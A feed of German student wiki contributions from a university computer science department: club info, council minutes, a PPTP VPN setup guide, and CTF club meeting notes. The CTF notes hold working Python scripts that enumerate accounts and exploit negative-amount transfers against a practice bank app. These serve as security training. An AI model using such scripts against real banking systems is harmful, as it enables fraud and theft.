Fachschaft Informatik - Benutzerbeiträge [de]

DSC-AG

2020-11-16T14:26:14Z

134.100.4.59: /* Über die DSC */ Hinweis auf Google eingefügt

== Über die DSC ==

Der Developer Student Club (DSC) ist eine von Google geförderte AG, bei der wir uns mit diversen Technologien (z.b App-Development, Machine Learning, Web …) in der Theorie und Praxis beschäftigen. Es wird verschiedene Events wie Lernathons, Vorträge und Hackathons geben. Geplant ist auch ein Projekt mit einem Unternehmen, bei dem wir das Wissen in der realen Praxis anwenden. <p></p>
Zusätzlich ist der DSC mit anderen DSC’s von anderen Unis vernetzt. Jedes Jahr gibt es auch die sogenannte Solution Challenge, bei der alle DSC’s in der Welt mitmachen.
Das Ziel der AG ist, dass man sich innerhalb des Studiums mehr connected und sich gemeinsam Technologien anschaut. Dabei natürlich viel Spaß hat und neues lernt.

== Wann? ==

Einfach bei Discord, Telegram oder Whatsapp reinschauen. Da findet man Ankündigungen zu neuen Events.

== Was brauche ich? ==

Neugier und Lust etwas gemeinsam zu lernen.

== Was hab ich davon? ==

- Besseren Überblick über aktuelle Technologien <p></p>
- Praxiserfahrung <p></p>
- Connection

== Kontakt ==
Ben (6mueller@inf...)

Sonst Social Media Kanäle.

== Links ==

FsrProtokoll20170123

2017-01-24T02:22:21Z

134.100.4.59: /* Berufungskommission Machine Learning */ Korrektur: irreführende Formulierung

[[FsrProtokoll20170116|<< zum letzten Protokoll]] || [[FsrProtokoll20170130|zum nächsten Protokoll >>]]
= Trivia =
* Anwesende: Michael, Hauke, David, Julian, Tronje, Alex, Louis, Jannis, Kim, Phillip; Gäste: Damian
* Beschlussfähigkeit: #t
* Versammlungsleitung: Kim
* Protokoll: Kim
* Baubeauftragte:
* Sitzungsbeginn: 20:13
* Sitzungsende: 21:48
* Ort: G-203

= TOPs =

== Berufungskommission Machine Learning ==
Es gibt eine Berufungskommission für eine W3-Professur im Bereich Machine-Learning.
Voraussichtlich in der vorlesungsfreien Zeit wird es Berufungsvorsträge geben. Die Lehrproben der Bewerber*innen werden von interessierten Studierenden angesehen werden können.

== Waffeleisen-Kabel ==
Das Kabel eines Waffeleisens ist kaputt. Julian hat das Kabel mehrschichtig mit Isolierband repariert. Damit sollte das Problem behoben sein.

== Feedback: StuPa-Wahl ==
Die StuPa-Wahl ist beendet. Die Wahlurne war durchgehend besetzt (bis auf den Stromausfall). Das Waffelrezept ist gut. Es mussten aber teilweise spontan Zutaten nachgekauft werden. Wie bereits in den Vorjahren haben wir an der Informatik eine der höchsten Wahlbeteiligungen für einen Außenstandort.

== FSR-Sticker ==
Wir diskutieren über das Format und die Größe der FSR-Sticker und gelangen zu folgenden Ergebnissen:
* Wir machen weniger als 3mm Rand, da die Sticker sonst doof aussehen.
* Außerdem wollen wir noch große Sticker (quasi als Werbung für den FSR)
Kim bestellt folgende Sticker:
* 100 große runde Sticker (9,5cm × 9,5cm) auf weißer Haftfolie (Outdoor: 90μ)
* 5000 Etiketten auf Rolle (2cm × 2cm) auf 60μ Aufkleber-Haftpapier
Die Sticker werden bestellt, sobald die Finanzreferenten das OK geben.

== Lehrlabor ==
Zwar darf David nichts zum Inhalt der Anträge sagen, allerdings gibt es jetzt ein FSR-internes [https://mafiasi.de/etherpad/pad/FSR-Informatik/Lehrlabor_Auswahlkriterien Etherpad] zum Sammeln von Anregungen.

= TODOs =

== In Bearbeitung ==
* Rückstau von Buchhaltung abarbeiten [3strassb][4dahmen] #open
* Offene Fragen bzgl. Getränkeabrechnung klären [3strassb][3timmerm] #open
* Metro-Rechnung von der Weihnachtsfeier an Lukas schicken [3strassb] #open
* Weihnachtsfeier-Feedback ins Etherpad [5uzolas][3schuett] #open
* AstA-Anträge stellen [3strassb] #open
* Mail an stud@: Pfand & Die Leute sollen die Getränke im c.t. auch bezahlen [3timmerm] #open
* Preisliste überdenken [3timmerm] #open
* Serviceteam (Kock) auf Beamer im c.t. ansprechen. [5uzolas] #open
* HowTo: Profbegrüßung ins Wiki schreiben [5wittenb][5uzolas] #inprogress
* Unitag 2017 organisieren [5wittenb][5uzolas] #open
* Begrüßung von Prof. Judith Simon [4kobras] #reminder
* Auflistung des fehlenden Stoffes in FGI-3 machen [3schuett][5zschock] #inprogress
* Stellungnahme für Rarey/Ars Legendi schreiben [2hofmann][5zschock] #inprogress
* Mail an Christian: Aktueller Stand des V++ und Erinnerung an PA-Besetzungstermin [3schuett] #open
* FSR-Sticker bestellen [5wittenb] #inprogress
* Neue Profs auf Feedbackbögen hinweisen [5uzolas] #open
* Leute suchen für die Taskforces für Inf, SSE, MCI, MScInf, IAS [fsr] #reminder
* Werbung für das Praktikum von Biemann [5sittig] #inprogress
* Kock über Raumbuchungen in der Klausurenphase informieren [tronje] #open
* Kaffeemaschine in Reparatur geben!!! [4kraemer] #open
* Arbeitsbereichvorstellung [4kobras][5zschock] #reminder
* Treffen PA-Mitglieder [3timmerm] #reminder
* Besetzung der PAs -> 1. Mai [fsr] #reminder
* EP über außerordentliche Fachschaftsmitglieder Pflegen (Melf reinschreiben) [2hofmann] #open
* Mit Moldt reden und Treffen wegen Küche organisieren [4kobras] #open
* Neuen Tresorcode überlegen, Tresor nutzung evaluate [3schuett][4dahmen][3strassb] #inprogress
* Wissensweitergabe [fsr] #reminder
* FSR vertraulich ankündigen [3schuett] #open
* RPO-Prozess verfolgen (und ggf. bei der Umsetzunghelfen) [5zschock] #reminder
* An FSRV beteiligen [fsr] #reminder
* Update Getränke [3timmerm][3strassb][3wille] #reminder
* Einladung und Newsletter zur FSR Partey an Mafia schreiben [5wittenb] #reminder

== Jüngst Erledigt ==
* Angela nach Entsorgung von Gandalf fragen [4kraemer] #done
* Wie können Langzeit-TODOs gespeichert werden? -> Nächste Woche [fsr] #done
* Treffen mit Menzel vereinbaren (Studiengangsreform) [5zschock] #done
* Termin mit Menzel/Steinicke vereinbaren (Entwicklungen & Sorgen bei FGI-3) [5zschock][2epplee] #done
* StuPa-Wahl organisieren [4kraemer][4dahmen] #done
* StuPa-Antrag für Vereinsmitgliedschaft [4dahmen] #done -> Redmine
* Getränke bestellen [3timmerm] #done -> Redmine

FBIVPN

2014-04-27T16:48:17Z

134.100.4.59: Anmerkung für ubuntu 14.04 hinzugefügt

Im Informatik-Netz gibt es leider viele Port-Beschränkungen. Daher ist die Verwendung einer [[VPN|VPN-Verbindung]] zu empfehlen. Eine VPN-Verbindung ist auch dann sinnvoll, wenn man von außerhalb des Informatik-Netzes auf Seiten zugreifen möchte, die nur aus dem Informatik-Netz abgerufen werden können.

Vom RZ gibt es eine [http://www.informatik.uni-hamburg.de/RZ/netz/notebook/vpn.shtml Anleitung für Windows und OS X]. Hier gibt es eine kurze Anleitung, wie man dies unter Linux (speziell Debian/Ubuntu) mit dem Network-Manager realisieren kann:

== Kurzanleitungen ==
Hier sind Kurzanleitungen für Ubuntu, Windows XP & 7, Mac OS X und iOS, längere Anleitungen gibt es unten, oder auf den Seiten des RZ

=== Ubuntu (getestet unter 12.04 und 12.10)===
(über GUI [nm-applet]):

* VPN-Verbindungen->VPN-Konfigurieren
* Hinzufügen
* Erzeugen (PPTP)
* Daten eingeben:
** Verbindungsname: FBI-VPN (ist beliebig)
** Gateway: fbivpn.informatik.uni-hamburg.de
** User name: <Deine Kennung (0musterm)>
** Passwort: <Dein Passwort>
** NT Domain: informatik
* Advanced:
** Use Point-to-Point encryption (MPPE)
** Sicherheit: 128-bit (most secure)
** die nächsten 4 Optionen ankreuzen
*** Anmerkung: Bei mir (Ubuntu 13.10) funktioniert das VPN nur, wenn "Allow stateful encryption" nicht angekreuzt ist. Mach ich was falsch?
*** Anmerkung2: Bei mir (Ubuntu 14.04 neu installiert) gehts auch nur ohne. Also vermutlich bei allen Ubuntus ab 13.10 den einen Haken weglassen.
** <OK>
* IPv4-Einstellungen
** Methode: Automatisch (VPN), nur Adressen
** DNS-Server: 134.100.9.61
** Suchdomänen: informatik.uni-hamburg.de
* <Speichern>
* <Schließen>
* Zum W-LAN UHH verbinden.
* Fertig

Zum verbinden jetzt:
* VPN-Verbindungen --> FBI-VPN
Du hast jetzt Internet!!!

=== Kubuntu 13.04 per KDE Controle Module ===
Verbindungsart: PPTP
* Daten eingeben
** Verbindungsname: FBI-VPN (ist beliebig)
** Gateway: fbivpn.informatik.uni-hamburg.de
** User name: <Deine Kennung (0musterm)>
** Passwort: <Dein Passwort>
** NT Domain: informatik
* Advanced
** Authentication Methods: MSCHAP und MSCHAPv2 (alle anderen deaktivieren)
** Use Point-to-Point encryption (MPPE)
** Sicherheit: 128-bit (most secure)
** stateful encryption
** Compression: BSD, Deflate, TCP header
* DNS Server und Suchdomäne sollten nicht mehr nötig sein.

=== Windows XP ===

* Mit dem W-Lan UHH verbinden
* Systemsteuerung --> Netzwerkverbindung
* Neue Verbindung erstellen
** Verbindung mit dem Netzwerk am Arbeitsplatz herstellen
** <Weiter>
* VPN-Verbindung
** <Weiter>
* Daten Eingeben:
** FBI-VPN (beliebig)
** <weiter>
** Hostname: fbivpn.informatik.uni-hamburg.de
** <weiter>
** <weiter>
** <Fertig Stellen>
* Der Verbinden Dialog erscheint, Daten eingeben:
** Benutzername: <Deine Kennung (0musterm)>
** Kennwort: <Dein Passwort>
** <Verbinden>
* Du hast Internet!

=== Windows 7 ===

* Mit dem W-Lan UHH verbinden (an der Uni) oder mit Internet verbinden (bspw. zuhause)
* Systemsteuerung --> Netzwerk- und Freigabecenter
* Neue Verbindung oder Netzwerk einrichten
* Verbindung mit dem Arbeitsplatz herstellen
** <weiter>
* Nein, neue Verbindung erstellen
** <weiter>
* Die Internetverbindung (VPN) verwenden
* Daten Eingeben:
** Internetadresse: fbivpn.informatik.uni-hamburg.de
** Zielname: FBI-VPN (beliebig)
** <Weiter>
** Benutzername: <deine Kennung (0musterm)>
** Kennwort: <Dein Passwort>
** <verbinden>
* Fertig!

Wenn Ihr ein Antivirenprogramm mit Firewall verwendet, dann achtet darauf, dass GRE-Pakete beidseitig durchgelassen werden. Das müsstet ihr bei der jeweiligen Firewall konfigurieren können.

Am Beispiel von Avira AntiVir InternetSecurity hier ein Beispiel:
* Avira AntiVir öffnen (Adminrechte erforderlich)
* Auf den Punkt Firewall klicken
* Auf Konfigurieren klicken
* Unter Adapterregeln eure Internetverbindung auswählen
* Unter eingehende Regeln eine "Eingehende IP-Protokollregel" erstellen
* Als Protokoll GRE auswählen (Nummer 47)
* Unter ausgehende Regeln eine "Ausgehende IP-Protokollregel" erstellen
* Als Protokoll GRE auswählen (Nummer 47)
* Die Änderungen abspeichern.
* Vorsorglich neustarten.
* Fertig.

Diese Schritte waren bei mir nötig, um das Einwählen zu ermöglichen. Bei anderen Betriebssystemen (vornehmlich Windows/Mac) und/oder anderen Antivirenprogrammem mit integrierter Firewall können die Einstellungen anders heißen und andere Schritte nötig sein. Wenn es bei euch ohne diese Schritte klappt, dann müsst ihr auch nichts ändern.

=== Mac OS X ===

* Mit dem W-Lan UHH verbinden
* System Preferences -> Network
* Neue Verbindung einrichten
* VPN Auswählen
** VPN Typ: PPTP
* Service Name: FBI-VPN
* Configuration: Default
* Sever Address: fbivpn.informatik.uni-hamburg.de
* Account Name: Deine Kennung (0musterm)
* Encryption: Maximum (128 bit only)
* Authentication Settings: Password
* Advanced:
** Options:
*** Session alles auswählen ausser Disconnect if idle for X minutes
*** Advanced Use verbose logging auswählen
* VPN on Demand
** Neue Domain hinzufügen: informatik
* TCP/IP
** Using PPP
* Configure IPv6
** Automatically
* DNS und Proxies nichts vornehmen
* <Verbinden>
* Du hast Internet!

'''Zusätzlich:'''

Seit MacOSX 10.7 gibt es das nervige PopUp-Feld welches einen zum Einloggen auffordert, dieses wird durch den "Captive Network Assistant" ausgelöst.

Um dieses "Feature" abzustellen muss folgendes getan werden:
* zu folgendem Ordner navigieren: /System/Library/CoreServices/
* "Captive Network Assistant.app" umbenennen. z.B. zu: "_Captive Network Assistant.app"
* fertig

=== iOS ===

* Unter den W-Lan-Netzen bei "UHH" auf den Pfeil nach Rechts tippen
** "Automatisch Anmelden" deaktivieren
* Mit dem W-Lan UHH verbinden
* Unter Einstellungen -> Allgemein -> Netzwerk -> VPN kannst du eine eigene VPN-Verbindung einrichten.
* Daten eingeben:
** PPTP Übertragung
** Beschreibung: (ist dir überlassen)
** Server: fbivpn.informatik.uni-hamburg.de
** Account: deine Informatik-Kennung (0musterm)
** RSA-SecurID: Aus
** Kennwort: dein Kennwort zur Kennung
** Verschlüsselung: Automatisch
** Für alle Daten: An
** Proxy: Aus (sofern du keinen benutzt)
* Unter Einstellungen dann VPN einschalten (natürlich sofern du im UHH Netz bist)
* Du hast Internet!

'''Fehlerbehebung'''
Solltet ihr euch nicht mit UHH verbinden können, tut folgendes:
* Unter den W-Lan-Netzen bei "UHH" auf den Pfeil nach Rechts tippen
** "Automatisch Anmelden" deaktivieren (nicht in iOS Version 6.0.1 verfügbar).

== GUI ==
Diese Sektion beschreibt die Einrichtung des VPNs mittels dem NetworkManager. Wenn du keine grafische Oberflaeche benutzt, schaue weiter unten für eine Beschreibung mit nur Commandline-Tools.

=== Benötigtes Paket ===
network-manager-pptp (PPTP-Backend für Network-Manager)

Nach dem installieren des Pakets musste bei mir (Kubunty Hardy) der knetworkmanager neugestartet werden. Vorher waren die VPN-Optionen nicht sichtbar.

=== Einstellungen ===
Network-Manager -> VPN-Verbindungen -> VPN konfigurieren -> Hinzufügen

Im Verbindungsassistent dann folgende Einstellungen vornehmen:

==== Hardy Heron und früher ====
* Verbinden mit: PPTP Tunnel
* Name: FBI VPN (oder nach Gusto)
* Typ: Windows VPN (PPTP)
* Gateway: fbivpn.informatik.uni-hamburg.de

''Tipp'': Wenn du das VPN nur nutzen möchtest, um von zu Hause bestimmte Seiten aus dem Uni-Netz abzurufen, auf die du normalerweise nicht von außen zugreifen dürftest, solltest du die VPN-Verbindung so konfigurieren, dass nur Verbindungen mit dem Uni-Netz über das VPN aufgebaut werden. Das hat den Vorteil, dass andere Dinge, die du im Internet noch so tust, evt. schneller sind, da sie nicht getunnelt werden. Dazu bearbeitest du die bestehende Verbindung über Network-Manager -> VPN-Verbindungen -> VPN konfigurieren -> Bearbeiten (dazu muss natürlich deine Verbindung ausgewählt sein). Auf der Karteikarte ''Routing'' markierst du dann ''VPN-Verbindungen nur für diese Adressen verwenden'' und trägst das Subnetz der Uni (''134.100.0.0/16'') als IP-Adressbereich ein.

Der Knetworkmanager hat unter Hardy einen Bug, so dass keine VPN-Verbindung konfiguriert werden kann. Eine gefixte Version findet sich unter https://launchpad.net/~nytmyn/+archive (siehe auch https://bugs.launchpad.net/ubuntu/+source/knetworkmanager/+bug/151867 )

==== Intrepid Ibex und später ====

* Verbindungstyp: Point-to-Point Tunneling Protocol (PPTP)
* Name: FBI VPN (oder nach Gusto)
* Gateway: fbivpn.informatik.uni-hamburg.de
* User name: Informatik\RZ-Benutzerkennung (RZ-Benutzerkennung ist dabei natürlich deine Kennung!)
* NT Domain: Unbedingt leer lassen, hier nicht Informatik eintragen. Die Domäne muss dem Benutzernamen wie oben beschrieben vorangestellt werden.
* Auf ''Advanced'' klicken:
** Haken vor ''Use Point-To-Point encryption (MPEE)'' aktivieren
** ''Security'' auf ''128bit (most secure)'' setzen

=== Neustarten ===

Nach Einrichtung der Verbindung ist evt. ein Neustart des Network-Manager notwendig, damit die Verbindung dort angezeigt wird. Unter Ubuntu geht das durch Aufrufen folgender Befehle:

* sudo /etc/dbus-1/event.d/25NetworkManager restart
* sudo /etc/dbus-1/event.d/26NetworkManagerDispatcher restart

=== Verbinden ===
Zunächst muss eine Internetverbindung oder eine Verbindung zu einem UHH-Netz (z.B. FBI-WLAN) aufgebaut werden. Eine Gateway-Authentifizierung ist ''nicht'' notwendig.

Networkmanager -> VPN-Verbindungen -> FBI VPN

''Wichtig'': Bei der Authentifizierung am VPN-Gateway muss dem Benutzernamen die Windows-Domäne vorangestellt werden. Der korrekte Benutzername lautet also: ''Informatik\RZ-Benutzerkennung''.

== CLI ==
Dieser Abschnitt beschreibt, wie mensch eine VPN Verbindung ins [[FBI]] mit Commandline-Tools erstellt.

=== Pakete ===
Installiere: <a href="apt:pptp-linux">pptp-linux</a> (FIXME: Ubuntu kann mit apt: URIs umgehen. Wie setzt man die hier? [apt:pptp-linux])

=== Konfiguration ===

Credentials:
<pre>echo $FBIUSER PPTP $FBIPASS 134.100.5.65 | sudo tee -a /etc/ppp/chap-secrets</pre>

Wobei $FBIUSER und $FBIPASS dein Benutzername (e.g. 0bock) und dein Passwort sind.

Dialup:
<pre>
echo <<EOF
pty "pptp fbivpn.informatik.uni-hamburg.de --nolaunchpppd"
name $FBIUSER
remotename PPTP
require-mppe-128
file /etc/ppp/options.pptp
ipparam stellingen
EOF | sudo tee /etc/ppp/peers/stellingen
</pre>

Routing:
<pre>
echo <<EOF
#!/bin/sh

[ "$6" != "stellingen" ] && exit 0

ip route add 0.0.0.0/1 dev "$1"
ip route add 128.0.0.0/1 dev "$1"
EOF | sudo tee /etc/ppp/ip-up.d/route-traffic
sudo chmod +x /etc/ppp/ip-up.d/route-traffic
</pre>

Network config:
<pre>
echo <<EOF
iface stellingen inet ppp
provider stellingen
EOF | sudo tee -a /etc/network/interfaces
</pre>

=== Starten/Stoppen ===
<pre>sudo ifup stellingen</pre>
bzw.
<pre>sudo ifdown stellingen</pre>

=== VPN automatisch bei Verbindung mit $WLAN ===

Das ganze Verbinden kann man auch automatisch machen, indem man das Netzwerk identifiziert, in dem man sich befindet.
Aus der oberen Anleitung braucht man dann nicht mehr den Punkt "Network config"

/etc/wpa_supplicant/wpa_supplicant.conf
<pre>
network={
ssid="UHH-WPA"
key_mgmt=WPA-EAP
eap=TTLS
group=TKIP CCMP
pairwise=TKIP CCMP
ca_cert="/etc/ssl/certs/Deutsche_Telekom_Root_CA_2.pem"
identity="RRZ_Kennung@uni-hamburg.de"
password="very_secret_password"
anonymous_identity="anonymous@uni-hamburg.de"
phase2="auth=PAP"
id_str="uni" # wichtig, weil das der interfacename ist
}
ODER
network={
ssid="UHH"
key_mgmt=NONE
id_str="uni"
}
</pre>

/etc/network/interfaces
<pre>
iface wlan0 inet manual
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf

iface uni inet dhcp
#vpn up and down
up /usr/bin/pon stellingen
down /usr/bin/poff stellingen
</pre>

Manuell lässt sich immer noch VPN mit ''sudo pon stellingen'' starten. Beendet tut man dies dann mit ''sudo poff stellingen''

== Testen ==

Zum Testen der Verbindung (bei Nutzung von außerhalb des Informatik-Netzes) kann zum Beispiel die Seite [http://www.informatik.uni-hamburg.de/Fachschaft/gprot/ [1]] abgerufen werden. Kann eine Gedaechnissprotokoll geladen werden arbeitet die Verbindung

==Autoconnect Script==
Es gibt unter Linux Möglichkeiten sich bei bestehendem (UHH-) Netz direkt mit dem VPN zu befinden. Dazu sind folgende Änderungen am System notwendig.

(Im folgenden stehen (sofern nicht anders vermekt) $VPN$ für den VPN-namen und $WIFI$ für den WLAN-Namen)

<pre>/etc/NetworkManager/system-connections/$VPN$</pre>

Die Zeile <tt>password-flags</tt> muss von 1 auf 0 gesetzt werden. Falls die nicht existiert, muss sie unter dem Reiter <tt>vpn</tt> angelegt werden.
In der selben Datei muss ein weiterer Reiter nämlich <tt>vpn-secrets</tt> angelegt werden. Unter <tt>vpn-secrets</tt> wird folgender eintrag angelegt.

<pre>password=Your_Password</pre>

Beachte, dass das Passwort hier im Klartext gespeichert wird. Deswegen ist darauf zu achten, dass die Zugriffsrechte für diese Datei auf 0600 zu setzen sind! (Es sei denn, man möchte es der Welt mitteilen)

Dann kommt als nächstes das eigentliche Skript. Dies ist anzulegen unter

<pre>/etc/NetworkManager/dispatcher.d</pre>
Hier muss man eine Datei anlegen nach dem Schema wie sie in dem Ordner vorliegt (\d\d-NAME). Die Zugriffsrechte sind auf 0755 zu setzen.

<pre>
#! /bin/bash

REQUIRED_CONNECTION_NAME="$WIFI$" # namen beachten! Case-sensitive
VPN_CONNECTION_NAME="$VPN$"

sleep 1 #sleep ist nötig, warum? Keine Ahnung ;)

activ_con=$(nmcli con status | grep "${REQUIRED_CONNECTION_NAME}")
activ_vpn=$(nmcli con status | grep "${VPN_CONNECTION_NAME}")
if [ "${activ_con}" -a ! "${activ_vpn}" -a "$2" = "up" ];
then
nmcli con up id "${VPN_CONNECTION_NAME}"
fi
</pre>

Beim nächsten Verbinden der Netzwerkverbindung sollte sich der PC automatisch mit dem VPN verbinden.

== Weblinks ==

* [http://www.informatik.uni-hamburg.de/RZ/netz/notebook/vpn.shtml Nutzung von VPN-Diensten im Informatik-Netz]
* [http://pptpclient.sourceforge.net/howto-diagnosis.phtml#conventions Nützliches Howto zum Debuggen von PPTP Client Syslog-Infos]
* [http://www.cyberciti.biz/tips/howto-configure-ubuntu-fedora-linux-pptp-client.html Howto VPN on Fedora]
== Siehe Auch ==

* [[Verbindungen]]

[[Kategorie:Rechenzentrum]]

CInsects/Protokolle/CInsects:Treffen-2010-11-16

2010-11-17T15:41:34Z

134.100.4.59: kontoabfragescript

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort, sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.

= Exploit =

== Ein moeglicher Exploit ==
Haesslicher Quelltext:

<pre>

import urllib2
import urllib
import cookielib
import re
from itertools import product
import string

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'
data = urllib.urlencode({
'user': 'Jan',
'password': 'AZyNEBAeTC'
})
request = urllib2.urlopen(url + '/index.php', data)
login = request.read()

def alpha_beta_liste():
return [a+b for a, b in product(string.lowercase, string.lowercase)]

def search(params):
print params
req = urllib2.urlopen(url + '/index.php?page=search', params)
suche = req.read()
result = ktnre.findall(suche)
if result:
name_nummer_list.append(result)
print name_nummer_list

def transfer(kontonummer, betrag, tan_id, tan):
params = urllib.urlencode({'account': kontonummer, 'amount': betrag, 'tan_id': tan_id, 'tan': tan})
req = urllib2.urlopen(url + '/index.php?page=transfer', params)
seite = req.read()
if erfolg.findall(seite):
print "Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen." % (name, -betrag)
else:
print "Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden." % name

alphabeta = alpha_beta_liste()
ktnre = re.compile('<td>(.*)</td>')
betrag = -10
tan_id = 500
tan = 700338
erfolg = re.compile("<h2>Erfolgreiche Ueberweisung!</h2>")
name_nummer_list = []

for name in alphabeta:
print name
params = urllib.urlencode({'name': name})
while True:
try:
search(params)
break
except urllib2.URLError, e:
print "Fehler aufgetreten" + e

while True:
for elem in name_nummer_list:
name, kontonummer = elem

while True:
try:
transfer(kontonummer, betrag, tan_id, tan)
break
except:
pass
</pre>

== Schnelles auslesen der Kontonummern ueber gevent ==
<pre>
from gevent import monkey
monkey.patch_socket()

import urllib2
import urllib
import cookielib
import string
import re
from itertools import product, chain
import gevent

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'

def login(user, password):
params = urllib.urlencode({
'user': user,
'password': password
})
urllib2.urlopen(url + '/index.php', params)

# Wir interessieren und nur fuer die Kontonummern
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
def fetch_accounts(searchterm):
params = urllib.urlencode({
'name': searchterm
})
data = urllib2.urlopen(url + '/index.php?page=search', params).read()
return account_re.findall(data)

if __name__ == '__main__':
login('Jan', 'AZyNEBAeTC')
searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
gevent.joinall(jobs, timeout=120)
# Ergebnisse lesen und Liste flachklopfen
accounts = list(chain(*[job.value for job in jobs]))
print accounts
</pre>

Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):
<pre>
real 0m19.563s
user 0m1.356s
sys 0m0.240s
</pre>

ein kleines Script welches die übersicht über den Kontostand.
<pre>
import urllib
import urllib2
import cookielib
import re
import time

selfkn='43568'

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'

def login(user, password):
params = urllib.urlencode({
'user': user,
'password': password
})
urllib2.urlopen(url + '/index.php', params)

def printKonto():
text=urllib2.urlopen(url + '/index.php').read()
#print text
print re.findall('hat (\d+) toxische Dollar.</p>',text)[0]

print 'Login....'
login('xxx', 'xxx')
print 'kontoabfrage...'
while True:
printKonto()
time.sleep(5)

</pre>
[[Kategorie: CInsects-Protokolle]]

KunterBuntesSeminar

2010-10-12T13:33:42Z

134.100.4.59: /* Kunter Bunte Seminare */

Ein KunterBuntesSeminar ist ein [[BuntesSeminar]], also eine selbstorganisierte Veranstaltung von Studis fuer Studis.

== Motivation ==
Die Fachschaft braucht engagierte junge Studis die sich bspw. um das [[c.t.]] oder die [[OE]] kuemmern.
Das aktuelle Problem ist, dass insbesondere die Erstis direkt nach der OE Woche abspringen und sich nicht weiter um die Fachschaft, St. Ellingen und die Informatik kuemmern.
Wir moechten regelmaessig mit interessanten, selbstorganisierten Veranstaltungen auf uns aufmerksam machen und so unter den Leuten das Wir-Gefuehl staerken.
Dazu veranstalten wir ein woechentlich stattfindendes Seminar, welches für alle Studierende offen sein soll.
Zu Beginn wollen wir den Schwerpunkt auf einführende und studienberatende Themen legen um besonders erstsemestrige Studenten anzusprechen.
Ausserdem koennen so Inhalte vermittelt werden, die in der OE zu kurz gekommen sind oder die zu gunsten anderer Einheiten ausgelagert wurden.

== Kunter Bunte Seminare ==
* [[KunterBuntesSeminar-WS08]]
* [[KunterBuntesSeminar-SS09]]
* [[KunterBuntesSeminar-WS09]]
* [[KunterBuntesSeminar-SS10]]
* [[KunterBuntesSeminar-WS10]]

== Kontakt ==
Du hast Ideen, Vorschlaege oder Kritik? Sehr schoen!
Studierende, die sich verantwortlich fühlen, können per Mail unter kbs@inf erreicht werden.

[[Kategorie:KunterBuntesSeminar]]

KunterBuntesSeminar-SS10/CrackingBinaryFormats

2010-06-08T15:50:14Z

134.100.4.59: /* Termin */

Das ist der neunte Termin des [[KunterBuntesSeminar-SS10|KunterBunten Seminars]] im Sommersemester 2010.

= Abstract =
Leider ist es heutzutage noch oft die Regel, dass Hersteller von Hardware ihre Treiber und Software nur für Windows schreiben und publizieren. Möchte man die Hardware nun auch unter anderen Betriebssysteme nutzen, ist ein Weg das Schreiben äquivalenter Software. Allerdings ist dies nicht ganz einfach, da diese Hersteller in der Regel keinerlei Spezifikationen für Kommunikationsprotokolle oder Datenformate veröffentlichen.

Am Beispiel einer GPS-Maus, welche Positionsdaten auf einen via USB auslesbaren internen Speicher ablegt, beschreibt der Vortrag die Vorgehensweise das Kommunikationsprotokoll zu entschlüsseln um den internen Speicher auszulesen und anschließend wie dieses Binärformat interpretiert werden kann um letztendlich Klartextinformationen zu erhalten.

= Stichwörter =

cracking, reverse engineering, binärformate

= Vortragender =

* Dennis Keitzel <6keitzel>

= Termin =

* 22.06.2010

= Material =

* nach dem Vortrag

= Weiterführende Links =

* nach dem Vortrag

[[Kategorie:KunterBuntesSeminar]]

KunterBuntesSeminar-SS10/CrackingBinaryFormats

2010-06-08T15:49:52Z

134.100.4.59:

Das ist der neunte Termin des [[KunterBuntesSeminar-SS10|KunterBunten Seminars]] im Sommersemester 2010.

= Abstract =
Leider ist es heutzutage noch oft die Regel, dass Hersteller von Hardware ihre Treiber und Software nur für Windows schreiben und publizieren. Möchte man die Hardware nun auch unter anderen Betriebssysteme nutzen, ist ein Weg das Schreiben äquivalenter Software. Allerdings ist dies nicht ganz einfach, da diese Hersteller in der Regel keinerlei Spezifikationen für Kommunikationsprotokolle oder Datenformate veröffentlichen.

Am Beispiel einer GPS-Maus, welche Positionsdaten auf einen via USB auslesbaren internen Speicher ablegt, beschreibt der Vortrag die Vorgehensweise das Kommunikationsprotokoll zu entschlüsseln um den internen Speicher auszulesen und anschließend wie dieses Binärformat interpretiert werden kann um letztendlich Klartextinformationen zu erhalten.

= Stichwörter =

cracking, reverse engineering, binärformate

= Vortragender =

* Dennis Keitzel <6keitzel>

= Termin =

22.06.2010

= Material =

* nach dem Vortrag

= Weiterführende Links =

* nach dem Vortrag

[[Kategorie:KunterBuntesSeminar]]